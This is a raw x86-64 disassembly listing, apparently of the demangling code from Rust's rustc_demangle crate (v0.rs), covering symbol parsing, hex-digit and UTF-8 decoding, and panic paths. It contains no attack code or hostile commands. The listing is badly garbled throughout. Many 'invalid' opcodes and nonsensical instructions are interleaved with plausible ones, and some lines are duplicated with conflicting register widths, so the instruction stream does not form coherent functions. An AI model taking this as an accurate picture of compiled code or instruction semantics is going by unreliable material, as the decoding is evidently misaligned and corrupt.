add byte [rcx - 0x48], al
add dword [rax], eax
mov r8d, 1
add byte [rax], al
mov ebx, edx
mov rdx, rax
ret 0x13e8
cwde
hlt
dec dword [rcx + 0x1b740da]
mov bh, 1
ret 0x13e8
mov bh, 1
test al, al
jne 0x1400ca21f
mov rcx, rsi
call fcn.1400ca5f0
add byte [rax], al
mov dil, 1
test al, al
jne 0x1400ca21f
test edx, esp
add eax, dword [rax]
invalid
test edx, esp
add eax, dword [rax]
add byte [rax - 0x7d], cl
add byte ds:[rdi], cl
add byte [rdi], cl
cmp qword [rsi], 0
add byte [rdi], cl
je 0x1400ca21d
test dh, dl
add eax, dword [rax]
add bh, bh
dec dword [rsi + 0x18]
invalid
invalid
dec dword [rsi + 0x18]
jmp 0x1400ca21d
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rcx, [rbp - 8]
lea rcx, [rbp - 8]
lea ecx, [rbp - 8]
mov rdx, rsi
call fcn.1400caa50
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x1400c9fea
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
push rbp
add al, ch
jg 0x1400c9e7b
add byte [rax], al
mov rdx, qword [rbp]
call fcn.1400caaf0
cmp rax, 1
add dword [rdi], ecx
jne case.0x1400c9de6.2
test dword [rcx + 0x48000000], ebx
cmp rdx, 1
cmp edx, 1
je 0x1400ca385
test rdx, rdx
jne case.0x1400c9de6.2
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
je 0x1400c9e3d
cmpsb byte [rsi], byte [rdi]
lea rdx, [0x140144f3c]
mov r8d, 5
invalid
add byte [rax], al
invalid
add byte [rcx - 0x48], al
add eax, 0xe9000000
cmpsb byte [rsi], byte [rdi]
add al, 0
add byte [rax - 0x75], cl
invalid
invalid
jmp 0x1400ca34f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
and byte [rax - 0x7b], r9b
leave
je 0x1400c9e3d
lea rdx, [0x140144e2a]
jmp 0x1400ca349
test al, al
je 0x1400ca015
xor ebx, ebx
jmp 0x1400ca178
lea rcx, [rbp - 8]
mov rdx, rsi
call fcn.1400caa50
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x1400c9fea
mov rdx, qword [rbp]
call fcn.1400caaf0
test rax, rax
je case.0x1400c9de6.2
mov rax, rdx
shr rax, 0x20
jne case.0x1400c9de6.2
mov eax, edx
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
jae 0x1400ca3a1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c9f3a
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013630
mov dil, 1
test al, al
jne 0x1400ca21f
mov qword [rsi], 0
mov byte [rsi + 8], 0
jmp 0x1400ca21d
test al, al
je 0x1400ca046
xor ebx, ebx
jmp 0x1400ca22c
mov rcx, rsi
mov edx, eax
call fcn.1400ca8c0
jmp case.0x1400b958a.70
cmp r9, r10
jae case.0x1400c9de6.16
cmp byte [r8 + r9], 0x65
jne case.0x1400c9de6.16
add rcx, 2
mov qword [rsi + 0x10], rcx
mov rcx, rsi
call fcn.1400cadd0
jmp case.0x1400b958a.70
test al, al
je 0x1400c9fb2
xor ebx, ebx
jmp 0x1400ca0db
test al, al
je 0x1400ca077
xor ebx, ebx
jmp 0x1400ca276
test al, al
je 0x1400ca0a8
xor ebx, ebx
jmp 0x1400ca2f4
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca0d9
lea rax, [0x140144f45]
mov r8d, 1
mov ebx, edx
mov rdx, rax
call fcn.140013630
mov edx, ebx
mov bl, 1
mov dil, 1
test al, al
je 0x1400ca0db
jmp 0x1400ca21f
movzx ebx, byte [rbp]
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x1400ca145
test rcx, rcx
je 0x1400ca167
lea rdx, [0x140144eb8]
mov r8d, 0x19
jmp 0x1400ca157
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca176
lea rdx, [0x140144f45]
mov r8d, 1
call fcn.140013630
mov bl, 1
mov dil, 1
test al, al
je 0x1400ca178
jmp 0x1400ca21f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca22a
lea rdx, [0x140144f45]
mov r8d, 1
call fcn.140013630
mov bl, 1
mov dil, 1
test al, al
jne 0x1400ca21f
jmp 0x1400ca22c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca274
lea rdx, [0x140144f45]
mov r8d, 1
call fcn.140013630
mov bl, 1
mov dil, 1
test al, al
jne 0x1400ca21f
jmp 0x1400ca276
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca2f2
lea rdx, [0x140144f45]
mov r8d, 1
call fcn.140013630
mov bl, 1
mov dil, 1
test al, al
jne 0x1400ca21f
jmp 0x1400ca2f4
mov bl, 1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca108
lea rax, [0x140144b84]
mov r8d, 1
mov edi, edx
mov rdx, rax
call fcn.140013630
mov edx, edi
mov dil, 1
test al, al
jne 0x1400ca21f
cmp dl, 0x52
je 0x1400ca133
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca133
lea rdx, [0x140144eef]
mov r8d, 4
call fcn.140013630
mov dil, 1
test al, al
jne 0x1400ca21f
mov dil, 1
mov rcx, rsi
mov dl, 1
call fcn.1400c9d40
jmp 0x1400ca325
test rcx, rcx
je 0x1400ca167
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013630
mov dil, 1
test al, al
jne 0x1400ca21f
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x1400ca21d
mov bl, 1
mov dil, 1
mov rcx, rsi
mov dl, 1
call fcn.1400c8370
test al, al
jne 0x1400ca21f
mov rax, qword [rsi]
test rax, rax
je 0x1400ca1fa
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x1400ca359
movzx eax, byte [rax + rcx]
inc rcx
mov qword [rsi + 0x10], rcx
cmp eax, 0x53
je 0x1400ca3af
cmp eax, 0x55
je 0x1400ca32d
cmp eax, 0x54
jne 0x1400ca359
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca1e8
lea rdx, [0x140144b81]
mov r8d, 1
call fcn.140013630
test al, al
jne 0x1400ca21f
mov rcx, rsi
call fcn.1400cb070
test rax, rax
jne 0x1400ca21f
jmp 0x1400ca2d5
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca21d
lea rdx, [0x140144ed1]
mov r8d, 1
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.140013630
xor edi, edi
mov eax, edi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov bl, 1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca24e
lea rdx, [0x140172ce0]
mov r8d, 1
call fcn.140013630
mov dil, 1
test al, al
jne 0x1400ca21f
mov rcx, rsi
call fcn.1400cb070
mov dil, 1
test rax, rax
jne 0x1400ca21f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca32d
lea rdx, [0x140172ce1]
jmp 0x1400ca2e5
mov bl, 1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca298
lea rdx, [0x140144b81]
mov r8d, 1
call fcn.140013630
mov dil, 1
test al, al
jne 0x1400ca21f
mov rcx, rsi
call fcn.1400cb110
mov dil, 1
test rax, rax
jne 0x1400ca21f
cmp rdx, 1
jne 0x1400ca2d5
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca32d
lea rdx, str._____
mov r8d, 1
call fcn.140013630
test al, al
jne 0x1400ca21f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca32d
lea rdx, [0x14014e078]
mov r8d, 1
call fcn.140013630
jmp 0x1400ca325
mov bl, 1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca31a
lea rdx, [0x14014b170]
mov r8d, 1
call fcn.140013630
mov dil, 1
test al, al
jne 0x1400ca21f
mov rcx, rsi
call fcn.1400cadd0
mov dil, 1
test al, al
jne 0x1400ca21f
test bl, bl
je 0x1400c9e3d
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c9e3d
lea rdx, [0x14014a8ab]
mov r8d, 1
call fcn.140013630
jmp case.0x1400b958a.70
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c9f3a
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013630
test al, al
je 0x1400c9f3a
jmp 0x1400ca21f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400c9e3d
mov rcx, qword [rsi + 0x20]
call fcn.1400cacb0
jmp case.0x1400b958a.70
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca3d2
lea rdx, [0x140144f46]
mov r8d, 3
call fcn.140013630
test al, al
jne 0x1400ca21f
mov rcx, rsi
call fcn.1400cb1c0
test rax, rax
jne 0x1400ca21f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400ca32d
lea rdx, [0x140144f49]
mov r8d, 2
jmp 0x1400ca2eb
mov rbx, rcx
xor edi, edi
lea r14, [0x140144ed9]
xor esi, esi
nop word cs:[rax + rax]
invalid
add byte [rax - 0x75], cl
adc byte [r8 + 0x3b], cl
or byte [r11 + 6], sil
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 8]
jae 0x1400cb150
cmp byte [rax + rcx], 0x45
je 0x1400cb198
test rsi, rsi
je 0x1400cb170
mov rcx, qword [rbx + 0x20]
test rcx, rcx
and byte [rax - 0x7b], cl
leave
je 0x1400cb170
mov r8d, 2
mov rdx, r14
call fcn.140013630
test al, al
jne 0x1400cb191
mov rcx, rbx
mov dl, 1
call fcn.1400c9d40
test al, al
jne 0x1400cb191
inc rsi
mov rax, qword [rbx]
test rax, rax
jne case.0x14005cc92.504
jmp 0x1400cb1a1
mov edi, 1
jmp 0x1400cb1a1
inc rcx
mov qword [rbx + 0x10], rcx
xor edi, edi
invalid
dec dword [rax - 0x77]
clc
mov rax, rdi
mov rdx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov eax, dword [rcx]
add dword [rbp - 0x7b], ecx
ror byte [rdi], 0x84
pop rdi
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
test r8, r8
je 0x1400cb440
mov rsi, rcx
mov r12d, 0x3e
add byte [rax], al
add byte [rax - 0x73], cl
jge 0x1400cb1d6
add byte [rax], al
add byte [rax - 0x73], cl
jge 0x1400cb1d6
lea rbx, [rbp - 0x40]
lea r14, [0x14014a133]
xor r15d, r15d
pop rbp
ror byte [rbp + rcx*4 + 0x35], 0x3a
out dx, eax
invalid
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
adc byte [rcx + rdi - 0x38], cl
jae 0x1400cb214
cmp byte [r8 + rax], 0x45
je 0x1400cb412
test r15, r15
je 0x1400cb24c
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cb24c
add byte [rax - 0x73], cl
adc eax, 0x79caa
call fcn.140013630
cld
xor esp, 0xffffffff
cld
xor esp, 0xffffffff
test al, al
jne 0x1400cb3d4
mov r8, qword [rsi]
test r8, r8
test eax, eax
test eax, eax
je 0x1400cb285
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
invalid
adc byte [rcx + rdi - 0x38], cl
cmp rax, r9
jae 0x1400cb340
cmp byte [r8 + rax], 0x73
jne 0x1400cb340
jae 0x1400cb3b5
adc cl, ch
mov ebx, 0x48000000
invalid
invalid
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x1400cb440
test byte [rsi + 0x41000001], ch
mov ebp, 1
add dword [rax], eax
add byte [rax], al
mov r13d, 1
add dword [rax], eax
add byte [rax], al
mov r8d, 1
lea rdx, [0x140144ed1]
pushfq
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x79c2c
pushfq
invalid
invalid
pushfq
invalid
add al, ch
xchg byte [rbx - 0x3f7b000c], al
invalid
call fcn.140013630
test al, al
invalid
ror byte [rdi], 0x84
out dx, eax
add byte [rax], al
add cl, ch
jmp 0x1400cb443
xor eax, eax
nop dword [rax]
movzx edx, byte [r8 + rcx]
cmp dl, 0x5f
cli
pop rdi
je 0x1400cb3a1
jmp 0x1400cb443
cli
pop rdi
je 0x1400cb32b
lea r10d, [rdx - 0x30]
cmp r10b, 0xa
jb case.0x140071463.444
rol byte [rcx - 0x80], 1
cli
or dh, byte [rdx + 0x30]
lea r10d, [rdx - 0x61]
push rdx
lahf
cmp r10b, 0x1a
jae 0x1400cb2f0
invalid
sbb dh, byte [rbx + 0x12]
adc al, byte [rax + 0x1eeba9c2]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add dl, 0xa9
jmp 0x1400cb301
invalid
invalid
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x52], al
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
cli
invalid
push rdx
mov edi, 0x1afa8041
jae 0x1400cb3b5
add dl, 0xe3
mov r10d, edx
inc rcx
mov qword [rsi + 0x10], rcx
mov dword [rsi + 0x10], ecx
mov dword [rsi + 0x10], ecx
mul r12
jo 0x1400cb3b5
add byte [rax], al
movzx edx, r10b
add rax, rdx
ror byte [rdi], 1
invalid
xchg esp, eax
add byte [rax], al
invalid
ror byte [rdi], 1
invalid
cmp rcx, r9
jb 0x1400cb2c0
add byte [rax], al
add byte [rax - 1], cl
ror dword [rax - 0x77], 0x4e
mov qword [rsi + 0x10], rcx
invalid
invalid
clc
inc rcx
mov qword [rsi + 0x10], rcx
mov dword [rsi + 0x10], ecx
cmp rax, 0xfffffffffffffffd
std
ja 0x1400cb3b5
xchg dword [rcx], edi
add byte [rax], al
nop dword [rax]
mov rcx, rdi
mov rdx, rsi
call fcn.1400c8d40
dec dword [rax - 0x7d]
jge 0x1400cb337
add byte [rdi], cl
invalid
xchg ebx, eax
add byte [rax], al
invalid
dec dword [rax - 0x7d]
jge 0x1400cb337
add byte [rdi], cl
test byte [rbx + 0xf000000], dl
adc byte [rbp - 0x18], al
movups xmm0, xmmword [rbp - 0x18]
movups xmm1, xmmword [rbp - 8]
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
mov r13, qword [rsi + 0x20]
test r13, r13
je 0x1400cb393
mov rcx, rbx
mov rdx, r13
call fcn.1400c8f30
test al, al
jne 0x1400cb3d4
mov r8d, 2
mov rcx, r13
mov rdx, r14
call fcn.140013630
test al, al
jne 0x1400cb3d4
mov rcx, rsi
mov dl, 1
call fcn.1400c9d40
test al, al
invalid
jne 0x1400cb3d4
sal byte [rbp + 0x33], 0x4c
mov eax, dword [rsi]
mov r8, qword [rsi]
inc r15
inc edi
test r8, r8
jne case.0x140065698.510
invalid
invalid
invalid
invalid
invalid
jmp 0x1400cb440
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x1400cb3dc
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013630
test al, al
je 0x1400cb3dc
invalid
or byte [rcx - 0x43], al
add dword [rax], eax
add byte [rax], al
mov r13d, 1
jmp 0x1400cb443
mov qword [rsi], 0
mov byte [rsi + 8], 0
jmp 0x1400cb440
movzx ebx, byte [rbp - 0x10]
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x1400cb41b
invalid
test rcx, rcx
je 0x1400cb436
lea rdx, [0x140144eb8]
adc eax, 0x79ab7
mov r8d, 0x19
sbb dword [rax], eax
add byte [rax], al
call fcn.140013630
test al, al
jne 0x1400cb3d4
jmp 0x1400cb436
inc rax
mov qword [rsi + 0x10], rax
jmp 0x1400cb440
test rcx, rcx
test ecx, ecx
je 0x1400cb436
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
sbb dword [rdx - 0x47befff9], 0x10
call fcn.140013630
test al, al
invalid
jne 0x1400cb3d4
sal byte [rbp - 0x62], 0x48
mov dword [rsi], 0
invalid
mov qword [rsi], 0
add byte [rax + 0x3145085e], cl
in eax, dx
mov byte [rsi + 8], bl
xor r13d, r13d
mov rax, r13
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
ret 0x820f
mov rax, qword [rcx]
lea r9, [rax + r8]
mov qword [rcx], r9
or dword [rax - 0x77], ecx
push rcx
or byte [rcx - 0x7d], cl
invalid
invalid
mov qword [rcx + 8], rdx
cmp r8, 2
jne 0x1400cb849
invalid
test al, 3
add eax, dword [rax]
invalid
clc
add cl, byte [rdi]
test dword [rax + 0x44000003], ebp
add eax, dword [rax]
add byte [rdi + rcx - 0x4a], al
invalid
add eax, dword [rax]
add byte [rdi + rcx - 0x4a], al
adc byte [rdi + rcx - 0x4a], al
mov dh, 0x40
add dword [rcx - 0x73], eax
movzx r10d, byte [rax]
movzx r8d, byte [rax + 1]
lea eax, [r10 - 0x30]
invalid
invalid
mov dh, 0x40
add dword [rcx - 0x73], eax
rol byte [rbx + 0x1e720af8], 1
cmp eax, 0xa
jb 0x1400cb4d1
invalid
invalid
or r10d, 0x20
add r10d, 0xffffff9f
ret 0x419f
add edx, 0xa
mov eax, 0xffffffff
invalid
invalid
invalid
inc dword [rcx + 0xf]
ret 0xf883
ret 0xf883
adc byte [rdi], cl
sub dword [rbx + rax], 0
ret 0x419f
inc dword [rcx + 0xf]
ret 0xf883
ret 0xf883
ret 0xf883
add eax, dword [rax]
add byte [rbp - 0x73], al
lea edx, [rax - 0x30]
invalid
invalid
lea r10d, [r8 - 0x30]
lea edx, [rax - 0x30]
cmp r10d, 0xa
cli
or dh, byte [rdx + 0x20]
jb 0x1400cb4fb
jb 0x1400cb4fb
or r8d, 0x20
or eax, 0x20
add r8d, 0xffffff9f
add eax, 0xffffff9f
lahf
add r8d, 0xa
mov r10d, 0xffffffff
cmovae r10d, r8d
cmovae edx, eax
cmovae edx, eax
rol byte [rcx - 0x7d], 1
cli
adc byte [rdi], cl
add dword [rdx + 3], 0
add eax, dword [rax]
cmp r10d, 0x10
jae 0x1400cb83d
add eax, dword [rax]
invalid
add eax, dword [rax]
add al, al
loopne 0x1400cb502
shl al, 4
or r10b, al
js case.0x14009ea2d.246
mov byte [rbp + 0x34], r10b
mov byte [rbp + 0x34], r10b
mov word [rbp + 0x35], 0
mov byte [rbp + 0x37], 0
lea rax, [rbp + 0x34]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 1
mov r8d, 1
lea rsi, [rbp - 0x18]
lea rdx, [rbp + 0x34]
mov rcx, rsi
call fcn.140014300
cmp qword [rbp - 0x18], 0
jge 0x1400cb523
invalid
je 0x1400cb567
mov eax, 0x110000
jmp 0x1400cb831
invalid
add cl, ch
jmp 0xf80cb54b
invalid
invalid
mov eax, 0x110000
add byte [rax], al
adc dword [rax], eax
cmp r10b, 0xc0
jb 0x1400cb831
ror byte [rdi], 0x82
fiadd dword [rdx]
add byte [rax], al
cmp r10b, 0xe0
jae 0x1400cb5a1
mov eax, 2
xor eax, eax
jmp 0x1400cb5b3
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rbp - 0x28], rcx
mov dword [rbp - 0x28], ecx
fmul dword [rax - 0x77]
loopne 0x1400cb5c0
invalid
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x20], eax
lea rdx, [rcx + rax]
lea edx, [rcx + rax]
adc al, 1
test rax, rax
je case.0x1400a4d30.227
movzx eax, byte [rcx]
test al, al
js 0x1400cb73a
invalid
scasd eax, dword [rdi]
add dword [rax], eax
invalid
mov byte [rdi + 0x4c000001], ch
lea eax, [rcx + 1]
invalid
invalid
scasd eax, dword [rdi]
add dword [rax], eax
add byte [rbp + rcx*4 + 0x41], cl
invalid
lea r8, [rcx + 1]
add r9d, ebp
add ecx, ebp
jmp 0x1400cb7b4
and byte [rdx], al
add byte [rax], al
mov eax, 0x110000
mov r8, rcx
enter 0x13e9, 2
add byte [rax], al
enter 0x13e9, 2
add byte [rax], al
cmp r10b, 0xf0
cmp dl, 0xf0
cmp dl, 0xf0
jae 0x1400cb781
mov r8d, 3
mov al, 1
mov byte [rbp + 0x34], r10b
mov word [rbp + 0x35], 0
mov byte [rbp + 0x37], 0
lea r11, [rbp + 0x34]
mov qword [rbp + 0x20], r11
add byte [rbp + rcx*4 + 0x5d], cl
xor al, 0x4c
mov dword [rbp + 0x20], ebx
mov qword [rbp + 0x28], r8
cmp rdx, 2
add cl, byte [rdi]
invalid
invalid
invalid
invalid
invalid
lea rsi, [r9 + 2]
lea r11, [rdx - 2]
dec byte [rax - 0x77]
xor dword [rcx + rcx*4 + 0x59], ecx
or byte [rcx + 0xf], al
movzx ebx, byte [rcx]
movzx ebx, byte [rcx]
movzx edi, byte [r9 + 1]
lea esi, [rbx - 0x30]
cmp esi, 0xa
dec byte [rdx]
jb case.0x14009fa62.273
or ebx, 0x20
add ebx, 0xffffff9f
add ebx, 0xa
mov esi, 0xffffffff
cmovae esi, ebx
cmp esi, 0xf
invalid
ja 0x1400cb83d
invalid
lea ebx, [rdi - 0x30]
cmp ebx, 0xa
jb 0x1400cb633
invalid
sbb al, byte [rbx - 0x387cdf31]
lahf
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
mov ebx, 0xffffffff
dec dword [rdi]
invalid
invalid
dec dword [rdi]
fild word [r11 - 0x78f0f005]
cmp ebx, 0xf
invalid
xchg dword [rdx], ecx
invalid
cmp ebx, 0xf
ja 0x1400cb83d
add byte [rax], al
add byte [rax], al
shl sil, 4
or bl, sil
or bl, dh
or bl, dh
mov byte [rbp + 0x35], bl
cmp r10b, 0xe0
cli
invalid
pop rbp
xor eax, 0xe0fa8041
cli
invalid
cli
loopne 0x1400cb651
jb 0x1400cb527
invalid
dec dword [rcx - 0x7d]
sti
add cl, byte [rdi]
invalid
cmp r11, 2
jb 0x1400cb53e
lea r11, [r9 + 4]
lea r10, [rdx - 4]
add al, 0x4c
lea edx, [rdx - 4]
mov qword [rcx], r11
mov qword [rcx + 8], r10
movzx edi, byte [r9 + 2]
movzx esi, byte [r9 + 3]
movzx esi, byte [rcx + 3]
lea r11d, [rdi - 0x30]
lea ebx, [rdi - 0x30]
rol byte [rcx - 0x7d], 1
sti
or dh, byte [rdx + 0x1d]
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
invalid
or al, byte [rcx - 0x45]
invalid
invalid
invalid
inc dword [rdi + rcx + 0x43]
cmovae ebx, edi
cmp r11d, 0xf
ja 0x1400cb83d
lea edi, [rsi - 0x30]
cmp edi, 0xa
or dh, byte [rdx + 0x1a]
rol byte [rbx + 0x1a720aff], 1
or dh, byte [rdx + 0x1a]
sbb al, byte [rbx - 0x397cdf32]
lahf
or esi, 0x20
add esi, 0xffffff9f
invalid
lahf
invalid
add esi, 0xa
mov edi, 0xffffffff
invalid
invalid
dec dword [rdi]
invalid
invalid
cmp edi, 0xf
dec dword [rdi]
invalid
dec dword [rdi]
invalid
ja 0x1400cb83d
add byte [rcx - 0x40], al
jrcxz 0x1400cb6bb
shl r11b, 4
or dil, r11b
mov byte [rbp + 0x36], dil
mov byte [rbp + 0x36], bh
test al, al
jne 0x1400cb527
invalid
invalid
invalid
invalid
cmp r10, 2
jb 0x1400cb53e
lea rax, [r9 + 6]
add rdx, 0xfffffffffffffffa
cli
cli
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov dword [rcx + 8], edx
mov dword [rcx + 8], edx
movzx edx, byte [r9 + 4]
movzx ecx, byte [r9 + 5]
lea eax, [rdx - 0x30]
rol byte [rbx + 0x1a720af8], 1
rol byte [rbx + 0x1a720af8], 1
sbb al, byte [rbx - 0x3d7cdf36]
lahf
or edx, 0x20
add edx, 0xffffff9f
add edx, 0xa
mov eax, 0xffffffff
ret 0xb80a
cmovae eax, edx
cmp eax, 0xf
ja 0x1400cb83d
xchg dword [rdx], esi
add dword [rax], eax
invalid
xchg dword [rdx], esi
add dword [rax], eax
add byte [rbp - 0x57c2faf], cl
or dh, byte [rdx + 0x1a]
xor al, byte [rcx]
add byte [rax], al
lea edx, [rcx - 0x30]
cmp edx, 0xa
jb 0x1400cb72d
or ecx, 0x20
add ecx, 0xffffff9f
add ecx, 0xa
ror dword [rdx], 0xba
invalid
invalid
invalid
dec dword [rdi]
rol dword [r11 - 0x78f0f006], 1
xchg dword [rax], edx
add dword [rax], eax
add byte [rax], al
dec dword [rdi]
rol dword [r11 - 0x78f0f006], 1
xchg dword [rax], edx
invalid
add byte [rax], al
shl al, 4
loopne 0x1400cb734
or dl, al
mov byte [rbp + 0x37], dl
invalid
jmp 0x1400cb527
mov r9d, eax
and r9d, 0x1f
movzx r11d, byte [rcx + 1]
movzx ebx, byte [rcx + 1]
rol dword [rcx - 0x7d], 0xe1
invalid
movzx ebx, byte [rcx + 1]
mov dh, 0x59
pop rcx
add dword [rcx - 0x7d], eax
jrcxz 0x1400cb789
invalid
and r11d, 0x3f
invalid
cmp al, 0xdf
jbe 0x1400cb796
movzx r10d, byte [rcx + 2]
shl r11d, 6
mov dh, 0x51
add al, byte [rcx - 0x3f]
jrcxz 0x1400cb75d
and r10d, 0x3f
or r10d, r11d
fidivr dword [rax + rsi*8]
cmp al, 0xf0
jb 0x1400cb7a6
lea r8, [rcx + 4]
movzx eax, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and eax, 0x3f
or eax, r10d
or eax, r9d
jmp 0x1400cb7b4
invalid
xor eax, dword [rcx - 0x80]
cli
clc
cmp r10b, 0xf8
jae 0x1400cb831
and dword [rsi + 0x41000000], 0xffffffb8
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rax], al
mov r8d, 4
add al, 0
add byte [rax], al
add byte [rax], al
add cl, ch
int 0xfd
jmp 0x1400cb563
invalid
lea r8, [rcx + 2]
shl r9d, 6
shl ecx, 6
shl ecx, 6
or r9d, r11d
mov eax, r9d
mov eax, ecx
mov eax, ecx
jmp 0x1400cb7b4
lea r8, [rcx + 3]
shl r9d, 0xc
or r10d, r9d
mov eax, r10d
cmp r8, rdx
je 0x1400cb822
sal byte [rcx + rbp*2 + 0x45], 1
movzx ecx, byte [rax]
movzx r9d, byte [r8]
test r9b, r9b
jns 0x1400cb861
add byte [rax], al
add byte [rax], al
cmp r9b, 0xe0
jb 0x1400cb861
invalid
xchg ecx, eax
add byte [rax], al
invalid
invalid
cmp r9b, 0xf0
jb 0x1400cb861
stc
invalid
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
loop 0x1400cb822
movzx r11d, byte [r8 + 2]
loop 0x1400cb822
and r11d, 0x3f
movzx r8d, byte [r8 + 3]
add eax, dword [rcx - 0x7d]
loope 0x1400cb7fc
shl r9d, 0x12
shl ecx, 0x12
add eax, dword [rcx - 0x7d]
loope 0x1400cb7fc
shl ecx, 0x12
shl r10d, 0xc
shl r11d, 6
or r11d, r10d
and r8d, 0x3f
or r8d, r11d
or r8d, r9d
cmp r8d, 0x110000
cmp eax, 0x110000
sete r8b
sete al
cmp eax, 0x110000
jne 0x1400cb82c
invalid
or al, 0xeb
invalid
mov r8b, 1
cmp eax, 0x110000
je 0x1400cb861
test r8b, r8b
je 0x1400cb861
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
call fcn.140108970
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x28
call fcn.140108630
call fcn.1400cbb00
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x1400cbbe0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x28]
mov qword [rbp - 8], rax
lea rax, [0x1400d69e0]
mov qword [rbp], rax
lea rax, [rbp + 0x18]
mov qword [rbp + 8], rax
lea rax, [fcn.140012cc0]
mov qword [rbp + 0x10], rax
lea rax, str.internal_error:_entered_unreachable_code:_str::from_utf8_____was_expected_to_have_1_char__but__chars_were_found_M
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 4
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], 3
lea rdx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
xchg ebp, eax
invalid
add byte [rax - 0x73], cl
invalid
invalid
xchg ebp, eax
invalid
call fcn.140108560
int3
int3
sub rsp, 0x40
lea rbp, [rsp + 0x40]
and al, 0x40
and al, 0x40
cmp edx, 0x27
ja case.default.0x1400cb901
mov eax, edx
lea r8, [0x140178cb0]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov word [rcx], 0x305c
jmp 0x1400cb9d3
cmp edx, 0x5c
jne case.0x1400cb901.1
mov word [rcx], 0x5c5c
